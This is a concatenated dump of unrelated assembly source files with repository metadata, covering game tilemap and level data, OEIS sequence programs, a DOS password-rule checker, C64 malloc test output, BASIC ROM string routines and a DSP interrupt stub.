.define MAP_FLAG_MODE_BIDIR_SCROLL $40
.define MAP_FLAG_MODE_STATIC_SCREENS $80
.define MAP_FLAG_ENTITIES $100
.define MAP_FLAG_ENTITY_SCREEN_COORDS $200
.define MAP_FLAG_ENTITY_MAP_COORS $400
.define MAP_FLAG_LAYOUT_ADJACENT_SCREENS $800
.define MAP_FLAG_LAYOUT_ADJACENT_SCR_INDS $1000
.define MAP_FLAG_LAYOUT_MATRIX $2000
.define MAP_FLAG_MARKS $4000
.define MAP_FLAG_PROP_ID_PER_BLOCK $8000
.define MAP_FLAG_PROP_ID_PER_CHR $10000
.define MAP_FLAG_PROP_IN_SCR_ATTRS $20000
.define MAP_CHR_BPP 4
.define MAP_CHRS_OFFSET 0 ; first CHR index in CHR bank
.define ScrTilesWidth 8 ; number of screen tiles (4x4) in width
.define ScrTilesHeight 6 ; number of screen tiles (4x4) in height
.define ScrPixelsWidth 256 ; screen width in pixels
.define ScrPixelsHeight 192 ; screen height in pixels
; *** GLOBAL DATA ***
chr0: .incbin "tilemap_chr0.bin" ; (3488)
tilemap_CHRs:
.word chr0
tilemap_CHRs_size:
.word 3488 ; (chr0)
tilemap_Tiles: .incbin "tilemap_Tiles.bin" ; (892) 4x4 tiles array of all exported data banks ( 4 bytes per tile )
tilemap_TilesOffs:
.word 0 ; (chr0)
tilemap_BlocksOffs:
.word 0 ; (chr0)
tilemap_Attrs: .incbin "tilemap_Attrs.bin" ; (1408) 2x2 tiles attributes array of all exported data banks ( 2 bytes per attribute )
tilemap_TilesScr: .incbin "tilemap_TilesScr.bin" ; (672) 4x4 tiles array for each screen ( 48 bytes per screen \ 1 byte per tile )
tilemap_Plts: .incbin "tilemap_Plts.bin" ; (32) palettes array of all exported data banks ( data offset = chr_id * 32 )
; *** Lev0 ***
.define Lev0_StartScr Lev0Scr24
Lev0Scr6:
.byte 0 ; chr_id
.byte $40 ; (marks) bits: 7-4 - bit mask of user defined adjacent screens ( Down(7)-Right(6)-Up(5)-Left(4) ); 3-0 - screen property
.byte 0 ; screen index
.word 0 ; left adjacent screen
.word 0 ; up adjacent screen
.word Lev0Scr7 ; right adjacent screen
.word Lev0Scr14 ; down adjacent screen
Lev0Scr7:
.byte 0
.byte $90
.byte 1
.word Lev0Scr6
.word 0
.word 0
.word Lev0Scr15
Lev0Scr14:
.byte 0
.byte $C0
.byte 2
.word 0
.word Lev0Scr6
.word Lev0Scr15
.word Lev0Scr22
Lev0Scr15:
.byte 0
.byte $30
.byte 3
.word Lev0Scr14
.word Lev0Scr7
.word 0
.word Lev0Scr23
Lev0Scr22:
.byte 0
.byte $60
.byte 4
.word 0
.word Lev0Scr14
.word Lev0Scr23
.word Lev0Scr30
Lev0Scr23:
.byte 0
.byte $90
.byte 5
.word Lev0Scr22
.word Lev0Scr15
.word 0
.word Lev0Scr31
Lev0Scr24:
.byte 0
.byte $40
.byte 6
.word 0
.word 0
.word Lev0Scr25
.word 0
Lev0Scr25:
.byte 0
.byte $50
.byte 7
.word Lev0Scr24
.word 0
.word Lev0Scr26
.word 0
Lev0Scr26:
.byte 0
.byte $50
.byte 8
.word Lev0Scr25
.word 0
.word Lev0Scr27
.word 0
Lev0Scr27:
.byte 0
.byte $50
.byte 9
.word Lev0Scr26
.word 0
.word Lev0Scr28
.word 0
Lev0Scr28:
.byte 0
.byte $50
.byte 10
.word Lev0Scr27
.word 0
.word Lev0Scr29
.word 0
Lev0Scr29:
.byte 0
.byte $50
.byte 11
.word Lev0Scr28
.word 0
.word Lev0Scr30
.word 0
Lev0Scr30:
.byte 0
.byte $50
.byte 12
.word Lev0Scr29
.word Lev0Scr22
.word Lev0Scr31
.word 0
Lev0Scr31:
.byte 0
.byte $30
.byte 13
.word Lev0Scr30
.word Lev0Scr23
.word 0
.word 0
| 18.110619
| 133
| 0.641339
|
65b64bf4c4f26df9da6646166025826c8e00986e
| 613
|
asm
|
Assembly
|
src/core/bytecode/wasm/module/section/section.asm
|
Hiroshi123/bin_tools
|
95929eb218a82e30c43ee5bd209301a24abebffa
|
[
"MIT"
] | null | null | null |
src/core/bytecode/wasm/module/section/section.asm
|
Hiroshi123/bin_tools
|
95929eb218a82e30c43ee5bd209301a24abebffa
|
[
"MIT"
] | 4
|
2019-02-27T05:41:26.000Z
|
2020-07-16T00:24:24.000Z
|
src/core/bytecode/wasm/module/section/section.asm
|
Hiroshi123/bin_tools
|
95929eb218a82e30c43ee5bd209301a24abebffa
|
[
"MIT"
] | null | null | null |
section .text
default rel
global _0x00_none
;; global _0x01_type
global _0x02_import
global _0x03_function
global _0x04_table
global _0x05_memory
global _0x06_global
global _0x07_export
global _0x08_start
global _0x09_element
global _0x0a_code
global _0x0b_data
;;;
_0x00_none:
ret
;; _0x01_type:
;; ret
_0x02_import:
ret
_0x03_function:
ret
_0x04_table:
ret
_0x05_memory:
ret
;;;
_0x06_global:
ret
;;; if it is export, you should prepare one section on a object format.
_0x07_export:
ret
;;;
_0x08_start:
ret
;;;
_0x09_element:
ret
;;;
_0x0a_code:
ret
;;;
_0x0b_data:
ret
| 11.788462
| 71
| 0.743883
|
173580ac76e027dbb29dd03b1998ca94d7670919
| 395
|
asm
|
Assembly
|
oeis/272/A272417.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/272/A272417.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/272/A272417.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A272417: Number of active (ON,black) cells at stage 2^n-1 of the two-dimensional cellular automaton defined by "Rule 469", based on the 5-celled von Neumann neighborhood.
; Submitted by Jon Maiga
; 1,8,44,204,876,3628,14764,59564,239276,959148,3840684,15370924,61500076,246033068,984197804,3936922284
mov $2,5
lpb $0
sub $0,1
add $2,3
mul $2,2
lpe
pow $2,2
mov $0,$2
div $0,33
add $0,1
| 26.333333
| 172
| 0.729114
|
ce223426c09b91e4c1b5148b87421afcd04bf870
| 4,286
|
asm
|
Assembly
|
4. PASSWORD'S VALIDATION CEHCK.asm
|
rng70/Assembly-Programming
|
38c60807b944b49e52f189930c5bf1beadf80d74
|
[
"MIT"
] | null | null | null |
4. PASSWORD'S VALIDATION CEHCK.asm
|
rng70/Assembly-Programming
|
38c60807b944b49e52f189930c5bf1beadf80d74
|
[
"MIT"
] | null | null | null |
4. PASSWORD'S VALIDATION CEHCK.asm
|
rng70/Assembly-Programming
|
38c60807b944b49e52f189930c5bf1beadf80d74
|
[
"MIT"
] | null | null | null |
; THIS ASSEMBLY PROGRAM IS FOR CHECKING VALID PASSWORD
; A PASSWORD IS VALID WHEN IT FITS THE FOLLOWING CRITERIA
; AT LEAST:
; 1. ONE UPPERCASE LETTER ( ascii: 41H-5AH )
; 2. ONE LOWERCASE LETTER ( ascii: 61H-7AH )
; 3. AT LEAST ONE DIGIT ( ascii: 30H-39H )
; SCANNING FOR INPUT IS TERMINATED WHEN A ASSCII VALUE IS FOUND OUTSIDE THE RANGE ( 21H-7EH )
.MODEL SMALL
.STACK 100H
.DATA
VALID_UPPERCASE DB 0H
VALID_LOWERCASE DB 0H
VALID_DIGIT DB 0H
CR EQU 0DH
LF EQU 0AH
MSG DB 'ENTER THE PASSWORD: $'
VALID_PASS_MSG DB CR, LF, 'Valid Password$'
INVALID_PASS_MSG DB CR, LF, 'Invalid Password$'
.CODE
MAIN PROC
; DATA SEGMENT INITIALIZATION
MOV AX, @DATA
MOV DS, AX
; LOOP FOR TAKING INPUT UNTIL A UNACCEPTABLE CHARACTER IS FOUND
LEA DX, MSG
MOV AH, 9
INT 21H
DO_LOOP:
MOV AH, 1
INT 21H
;MOV CHAR, AL
; CHECH FOR UPPERCASE LETTER
UPPERCASE:
; CHECK IF THE CHARACTER IS IN 'A-Z'
CMP AL, 'A'
; IF LESS THAN 'A' THEN CHECK FOR DIGIT
JL DIGIT
CMP AL, 'Z'
; IF GREATER THAN 'Z' THEN CHECK FOR LOWERCASE LETTER
JG LOWERCASE
; IF IN RANGE 'A-Z' SET VALID_UPPERCASE TO 1
MOV DL, 1H
MOV VALID_UPPERCASE, DL
JMP DO_LOOP
; CHECH FOR LOWERCASE LETTER
LOWERCASE:
; CHECK IF THE CHARACTER IS IN 'A-Z'
CMP AL, 'a'
; IF LESS THAN 'A' THEN CHECK FOR DIGIT
JL DIGIT
CMP AL, 'z'
; IF GREATER THAN 'Z' THEN CHECK FOR LOWERCASE LETTER
JG OTHERS
; IF IN RANGE 'A-Z' SET VALID_UPPERCASE TO 1
MOV DL, 1H
MOV VALID_LOWERCASE, DL
JMP DO_LOOP
; CHECK FOR VALID DIGIT
DIGIT:
; IF IT IS IN RANCE '0-9'
CMP AL, '0'
JL OTHERS
CMP AL, '9'
JG OTHERS
MOV DL, 1H
MOV VALID_DIGIT, DL
JMP DO_LOOP
; CHECK FOR AT LEAST THE CHARACTER IS VALID
OTHERS:
CMP AL, 21H
JL CHECK_VALIDITY
CMP AL, 7EH
JG CHECK_VALIDITY
JMP DO_LOOP
; AFTER SCANNING THE PASSWORD SUCCESSFULLY CHECK PASSWORD VALIDITY
CHECK_VALIDITY:
; CHECK IF VALID_UPPERCASE IS NOT '0H'
CMP VALID_UPPERCASE, 0H
JE INVALID_PASSWORD
; CHECK IF VALID_UPPERCASE IS NOT '0H'
CMP VALID_LOWERCASE, 0H
JE INVALID_PASSWORD
; CHECK IF VALID_UPPERCASE IS NOT '0H'
CMP VALID_DIGIT, 0H
JE INVALID_PASSWORD
; AT THAT POINT PASSWORD IS VALID
JMP VALID_PASSWORD
; SHOW MESSAGE FOR INVALID PASSWORD
INVALID_PASSWORD:
LEA DX, INVALID_PASS_MSG
MOV AH, 9
INT 21H
JMP DOS_INTERRUPT_EXIT
; SHOW MESSAGE FOR VALID PASSWORD
VALID_PASSWORD:
LEA DX, VALID_PASS_MSG
MOV AH, 9
INT 21H
; DOS INTERRUPT WITH EXIT AND GIVE CONTROL TO OPERATING SYSTEM
DOS_INTERRUPT_EXIT:
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN
| 29.156463
| 93
| 0.423938
|
b9c4c33ce125fdaaf3bd9745e7f66c8cc36499f1
| 1,797
|
asm
|
Assembly
|
src/test/ref/memory-heap.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/memory-heap.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/memory-heap.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// Experiments with malloc()
// Commodore 64 PRG executable file
.file [name="memory-heap.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
// Top of the heap used by malloc()
.label HEAP_TOP = $a000
// Head of the heap. Moved backward each malloc()
.label heap_head = 2
.segment Code
main: {
.label screen = $400
.label buf1 = 6
.label buf2 = 4
// unsigned char* buf1 = malloc(100)
lda #<HEAP_TOP
sta.z heap_head
lda #>HEAP_TOP
sta.z heap_head+1
jsr malloc
// unsigned char* buf1 = malloc(100)
lda.z malloc.mem
sta.z buf1
lda.z malloc.mem+1
sta.z buf1+1
// unsigned char* buf2 = malloc(100)
jsr malloc
// unsigned char* buf2 = malloc(100)
ldy #0
__b1:
// buf1[i] = i
tya
sta (buf1),y
// 255-i
tya
eor #$ff
sec
adc #$ff
// buf2[i] = 255-i
sta (buf2),y
// for(unsigned char i:0..99)
iny
cpy #$64
bne __b1
// screen[0] = *buf1
ldy #0
lda (buf1),y
sta screen
// screen[1] = *buf2
lda (buf2),y
sta screen+1
// }
rts
}
// Allocates a block of size chars of memory, returning a pointer to the beginning of the block.
// The content of the newly allocated block of memory is not initialized, remaining with indeterminate values.
// void * malloc(unsigned int size)
malloc: {
.label mem = 4
// unsigned char* mem = heap_head-size
sec
lda.z heap_head
sbc #$64
sta.z mem
lda.z heap_head+1
sbc #0
sta.z mem+1
// heap_head = mem
lda.z mem
sta.z heap_head
lda.z mem+1
sta.z heap_head+1
// }
rts
}
| 22.4625
| 110
| 0.605454
|
75f655f20189cd1c340012c8a323a4d39c2a756a
| 399
|
asm
|
Assembly
|
oeis/034/A034584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/034/A034584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/034/A034584.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A034584: Radon-Hurwitz numbers: log_2 of dimension of an irreducible R-module for Clifford algebra Cl_n.
; Submitted by Jamie Morken(s1)
; 0,1,2,2,3,3,3,3,4,5,6,6,7,7,7,7,8,9,10,10,11,11,11,11,12,13,14,14,15,15,15,15,16,17,18,18,19,19,19,19,20,21,22,22,23,23,23,23,24,25,26,26,27,27,27,27,28,29,30,30,31,31,31,31
mov $1,$0
lpb $0
mul $0,7
mod $0,8
div $0,2
lpe
add $1,$0
div $1,2
mov $0,$1
| 28.5
| 175
| 0.656642
|
48e2d8cafc36fc2c60b064e61c7ce337c8a9ab06
| 3,112
|
asm
|
Assembly
|
PRG/maps/World8L.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/maps/World8L.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
PRG/maps/World8L.asm
|
narfman0/smb3_pp1
|
38a58adafff67a403591e38875e9fae943a5fe76
|
[
"Unlicense"
] | null | null | null |
.byte $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D1, $D1, $D1, $D1, $D1, $D1, $D1, $D8
.byte $D8, $D8, $D1, $D1, $D8, $D8, $D8, $D1, $BC, $84, $85, $85, $85, $86, $D1, $D8
.byte $42, $D1, $D1, $D1, $D1, $D1, $D1, $D1, $54, $97, $95, $89, $95, $98, $D1, $D1
.byte $D1, $D1, $E5, $D1, $D1, $D1, $BC, $D1, $48, $9D, $42, $9D, $42, $9D, $D1, $D1
.byte $D1, $D1, $46, $D1, $D1, $D1, $46, $84, $AA, $A5, $42, $9D, $42, $9D, $D1, $D1
.byte $D1, $D1, $48, $45, $47, $45, $4A, $B7, $AF, $8F, $85, $91, $9B, $A7, $D1, $D1
.byte $D1, $D1, $D1, $D1, $D1, $D1, $D1, $94, $95, $95, $95, $95, $96, $D1, $D1, $D1
.byte $D8, $D8, $D1, $D1, $D8, $D8, $D8, $D1, $D1, $D1, $BF, $BF, $BF, $D1, $D1, $D1
.byte $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D1, $D1, $D1, $D1, $D1, $D1, $D8, $D8
.byte $D8, $D8, $D8, $E2, $E2, $D8, $D8, $D8, $D8, $E2, $E2, $E2, $D8, $D8, $D8, $D8
.byte $D8, $D8, $E2, $E2, $E2, $E2, $D8, $D8, $D8, $E2, $BC, $E2, $D8, $D8, $D8, $D8
.byte $D8, $E2, $E2, $42, $42, $E2, $E2, $D8, $E2, $E2, $46, $E2, $E2, $D8, $D8, $D8
.byte $D8, $E2, $BC, $45, $47, $42, $E2, $E2, $BC, $56, $4A, $42, $E2, $E2, $D8, $D8
.byte $D8, $E2, $42, $42, $46, $42, $D1, $D1, $D1, $D1, $D1, $42, $42, $E2, $D8, $D8
.byte $D8, $E2, $E2, $42, $48, $45, $E6, $E6, $E6, $E6, $E6, $45, $BC, $E2, $D8, $D8
.byte $D8, $D8, $E2, $42, $42, $42, $D1, $D1, $D1, $D1, $D1, $42, $E2, $E2, $D8, $D8
.byte $D8, $D8, $D8, $E2, $E2, $E2, $42, $42, $42, $42, $E2, $E2, $E2, $D8, $D8, $D8
.byte $D8, $D8, $D8, $D8, $D8, $E2, $E2, $E2, $E2, $E2, $E2, $D8, $D8, $D8, $D8, $D8
.byte $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2
.byte $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2
.byte $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2
.byte $E2, $E2, $BC, $45, $47, $E2, $BC, $45, $47, $45, $47, $45, $47, $E2, $E2, $E2
.byte $E2, $E2, $E2, $E2, $46, $E2, $E2, $E2, $E2, $E2, $46, $E2, $54, $E2, $E2, $E2
.byte $E2, $E2, $44, $45, $03, $E2, $E2, $E2, $67, $45, $4A, $E2, $BC, $E2, $E2, $E2
.byte $E2, $E2, $46, $E2, $E2, $E2, $E2, $E2, $46, $E2, $E2, $E2, $E2, $E2, $E2, $E2
.byte $E2, $E2, $04, $45, $BC, $45, $47, $45, $4A, $45, $47, $45, $BC, $E2, $E2, $E2
.byte $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2, $E2
.byte $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8
.byte $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8
.byte $D8, $61, $63, $63, $63, $61, $63, $63, $63, $63, $61, $63, $63, $63, $61, $D8
.byte $D8, $64, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $64, $D8
.byte $D8, $64, $42, $E1, $42, $E1, $42, $E1, $42, $E1, $42, $42, $CA, $CB, $64, $D8
.byte $D8, $64, $BC, $45, $47, $56, $47, $45, $47, $45, $47, $45, $CC, $CD, $64, $D8
.byte $D8, $61, $63, $63, $63, $61, $63, $63, $63, $63, $61, $63, $63, $63, $61, $D8
.byte $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $62, $D8
.byte $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8, $D8
.byte $FF
| 72.372093
| 85
| 0.41838
|
7522b8708601b8fad5e826a00f7fc0b671dc9b83
| 14,467
|
asm
|
Assembly
|
source/function/stringmisc.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
source/function/stringmisc.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
source/function/stringmisc.asm
|
mega65dev/rom-assembler
|
1670a56a8246dcdcc18e83b345d577eba686cf32
|
[
"MIT"
] | null | null | null |
; ********************************************************************************************
; ********************************************************************************************
;
; Name : stringmisc.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
; The STR$() function takes a number and gives a string with
; the characters the output of the number would have given.
strd jsr chknum ; arg has to be numeric
ldy #0
jsr foutc ; do its output
pla
pla
timstr lda #<lofbuf
ldy #>lofbuf
+lbra strlit
; CHR$() creates a string which contains as its only character the PETSCII
; equivalent of the integer argument (#) which must be < 256.
chrd jsr conint ; get integer in range
phx
lda #1 ; one-character string
jsr strspa ; get space for string
ldy #0
pla
; phx ;set up string bank
ldx #dsctmp+1
jsr sta_far_ram1 ; sta (dsctmp+1),y
; plx
chrd1 pla ; get rid of "chknum" return address
pla
+lbra putnew ; setup FAC to point to desc
; The following is the LEFT$($,#) function. It takes the leftmost # characters
; of the string. If # > len of the string, it returns the whole string.
leftd jsr pream ; test parameters
pha ; # arg
jsr inddpt ; string len
sta syntmp
pla
cmp syntmp
tya ; that's all there is to LEFT$
rleft bcc l152_1
jsr inddpt
tax ; put length into x
tya ; zero (a), the offset
l152_1 pha ; save offset
rleft2 txa
rleft3 pha ; save length
jsr strspa ; get space
lda dscpnt
ldy dscpnt+1
jsr fretmp
ply
pla
clc
adc index ; compute where to copy
sta index
bcc l153_1
inc index+1
l153_1 tya
jsr movdo ; go move it
+lbra putnew
rightd jsr pream
pha
jsr inddpt
sta syntmp
pla
clc ; (length des'd)-(length)-1
sbc syntmp
eor #$ff ; negate
bra rleft
; MID$($,#) returns string with chars from # position onward. If # > LEN($)
; then return null string. MID($,#,#) returns string with characters from
; # position for #2 characters. If #2 goes past end of string return as much
; as possible.
midd lda #255 ; default
sta faclo ; save for later compare
jsr chrgot ; get current character
cmp #')' ; is it a right paren )?
beq l154_1 ; no third paren.
; jsr chkcom ;must have comma
; jsr getbyt ;get the length into "faclo"
jsr combyt ; [910820]
l154_1 jsr pream ; check it out
+lbeq fcerr ; illegal qty error
dex ; compute offset
phx
phx ; preserve a while (2 copies)
ldx #0
jsr inddpt ; get length of what's left
sta syntmp
pla
clc
sbc syntmp
bcs rleft2 ; give null string
eor #$ff ; in sub c was 0 so just complement
cmp faclo ; greater than what's desired
bcc rleft3 ; no, just copy that much
lda faclo ; get length of what's desired
bcs rleft3 ; copy it
; Common routine used by RIGHT$, LEFT$, MID$, for parameter chk and setup.
pream jsr chkcls ; param list should end
ply
pla
sta jmper+1 ; get return address
pla ; get rid of fingo's jsr ret addr
pla
plx ; get length
pla
sta dscpnt
pla
sta dscpnt+1
lda jmper+1
pha
phy
ldy #0
txa
rts
; The function LEN$() returns the length of the string passed as an argument.
len bsr len1
+lbra sngflt
len1 jsr frestr ; free up string
ldx #0
stx valtyp ; force numeric
tay ; set condition codes
rts ; done
; The following is the ASC$() function. It returns an integer which is the
; decimal equivalent of the PETSCII string argument.
asc jsr len1
beq l155_1 ; it was null (zero length)
ldy #0
jsr indin1_ram1 ; get 1st character
tay
l155_1 +lbra sngflt
;.end
; STRINI gets string space for the creation of a string and creates
; a descriptor for it in DSCTMP.
strini
ldx facmo ; get facmo to store in dscpnt
ldy facmo+1
stx dscpnt ; retain the descriptor pointer
sty dscpnt+1
strspa jsr getspa ; get string space
stx dsctmp+1 ; save location
sty dsctmp+2
sta dsctmp ; save length
rts ; done
; STRLT2 takes the string literal whose first character is pointed to by
; (xreg)+1 and builds a descriptor for it. The descriptor is initially
; built in DSCTMP, but PUTNEW transfers it into a temporary and leaves a
; pointer to the temporary in FACMO & FACLO. The characters other than the
; zero that terminates the string should be set up in CHARAC and ENDCHR.
; If the terminator is a quote, the quote is skipped over. Leading quotes
; should be skipped before call. On return, the character after the string
; literal is pointed to by (strng2).
strlit ldx #'"' ; assume string ends on quote
stx charac
stx endchr
strlt2 sta strng1 ; save pointer to string
sty strng1+1
sta dsctmp+1 ; in case no strcpy
sty dsctmp+2
ldy #255 ; initialize character count
strget iny
jsr indst1 ; get character
beq l156_2 ; if zero
cmp charac ; this terminator?
beq l156_1 ; yes
cmp endchr
bne strget ; look further
l156_1 cmp #'"' ; strfin. quote?
beq l156_3
l156_2 clc
l156_3 sty dsctmp ; no, back up. retain count
tya
adc strng1 ; wishing to set (txtptr)
sta strng2
ldx strng1+1
bcc l156_4
inx
l156_4 stx strng2+1
tya
strlit_1 ; //// entry from SPRSAV
jsr strini
tay
beq putnew ; length=0, don't bother copying
pha ; save length
phx
ldx #frespc
l157_1 dey
jsr indst1 ; lda (strng1),y in bank 0
jsr sta_far_ram1 ; sta (frespc),y in bank 1
tya
bne l157_1
plx
pla ; restore length
jsr mvdone ; finish up by updating frespc
; Some string function is returning a result in DSCTMP. Set up a temp
; descriptor with DSCTMP in it. Put a pointer to the descriptor in FACMO&LO
; and flag the result as a string type.
putnew ldx temppt ; pointer to first free temp
cpx #tempst+strsiz+strsiz+strsiz
+lbeq sterr ; string temporary error
lda dsctmp ; length
sta 0,x
lda dsctmp+1 ; pointer to string lo
sta 1,x
lda dsctmp+2 ; hi
sta 2,x
ldy #0 ; pointer to temp. descriptor
stx facmo ; lo
sty facmo+1 ; hi
sty facov
dey ; ($ff)
sty valtyp ; type is string
stx lastpt ; set pointer to last-used temp
inx
inx
inx ; point further
stx temppt ; save pointer to next temp, if any
rts ; all done
; The following routine concatenates two strings. At this point, the FAC
; contains the first one and (txtptr) points to the + sign.
cat lda faclo ; push high order onto stack
pha
lda facmo ; and the low
pha
jsr eval ; can come back here since operator is known
jsr chkstr ; must be string
pla
sta strng1 ; get high order of old descriptor
pla
sta strng1+1
ldy #0
jsr indst1_ram1 ; get length of old string
sta syntmp
jsr indfmo
clc
adc syntmp
+lbcs errlen ; result >255, error "long string"
jsr strini ; sizeok. initialize string
jsr movins ; move it
lda dscpnt ; get pointer to second
ldy dscpnt+1
jsr fretmp ; free it
jsr movdo ; move second string
lda strng1
ldy strng1+1
jsr fretmp
jsr putnew
+lbra tstop ; "cat" reenters frmevl from tstop
movins ldy #0 ; get address of string
jsr indst1_ram1
pha
iny
jsr indst1_ram1
tax
iny
jsr indst1_ram1
tay
pla
movstr stx index ; adr in (x,y), len in a
sty index+1
movdo tay
beq mvdone
pha
phx
ldx #frespc
l158_1 dey
jsr indin1_ram1
jsr sta_far_ram1 ; sta (frespc),y
tya
bne l158_1
plx
pla
mvdone clc ; update frespc pointer
adc frespc
sta frespc
bcc l159_1
inc frespc+1
l159_1 rts
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
| 39.527322
| 100
| 0.34596
|
c1e3dd825c523ae6a755797d37ffe5990d4b484e
| 686
|
asm
|
Assembly
|
oeis/024/A024913.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/024/A024913.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/024/A024913.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A024913: Numbers k such that 10*k - 7 is prime.
; Submitted by Christian Krause
; 1,2,3,5,6,8,9,11,12,17,18,20,23,24,27,29,30,32,36,38,39,44,45,47,51,53,57,60,62,65,66,68,69,74,75,78,83,86,87,89,96,99,102,104,107,110,111,113,116,117,120,122,123,129,131,138,143,144,146,149,150,153,155,156,159,162,167,170,173,174,176,179,183,188,192,194,198,200,201,206,207,209,212,215,216,221,222,225,228,230,234,239,240,243,248,251,255,260,264,267
mov $1,5
mov $2,$0
pow $2,2
lpb $2
sub $1,3
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,13
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
div $0,10
add $0,1
| 29.826087
| 352
| 0.655977
|
7129ea4622b57805d58f172b643a6ba4ce2db3a7
| 3,852
|
asm
|
Assembly
|
DSP/TI-Header/csl_c64xplus_intc_src/src/intc/_csl_intcIntrEnDisRes.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | null | null | null |
DSP/TI-Header/csl_c64xplus_intc_src/src/intc/_csl_intcIntrEnDisRes.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | null | null | null |
DSP/TI-Header/csl_c64xplus_intc_src/src/intc/_csl_intcIntrEnDisRes.asm
|
adildahlan/BE-thesis-Repo-McsDspRealtimeFeedback
|
fd61a78401bde72b0fb0d5df32f2fd1cbb631aeb
|
[
"BSD-2-Clause"
] | 1
|
2020-05-14T00:50:50.000Z
|
2020-05-14T00:50:50.000Z
|
;/*****************************************************************************
; * Copyright (c) Texas Instruments Inc 2002, 2003, 2004, 2005
; *
; * Use of this software is controlled by the terms and conditions found in the
; * license agreement under which this software has been supplied.
; *****************************************************************************/
;/** @file _csl_intcIntrEnDisRes.asm
; *
; * @date 12th June, 2004
; * @author Ruchika Kharwar
; */
; A0 contains the Register to be read
_CSL_INTC_GIE_MASK .equ 0x00000001
_CSL_INTC_GIE_MASK_DISABLE .equ 0xfffffffe
_CSL_INTC_GEE .equ 4h
_CSL_INTC_XEN .equ 8h
.ref __CSL_intcVectorTable
.sect ".text:csl_section:intc"
.global __CSL_intcIvpSet
__CSL_intcIvpSet:
bnop b3,2
mvkl __CSL_intcVectorTable, b0
mvkh __CSL_intcVectorTable, b0
mvc b0, istp
.global _CSL_intcInterruptEnable
_CSL_intcInterruptEnable:
;input argument is in a4
;return value is in a4
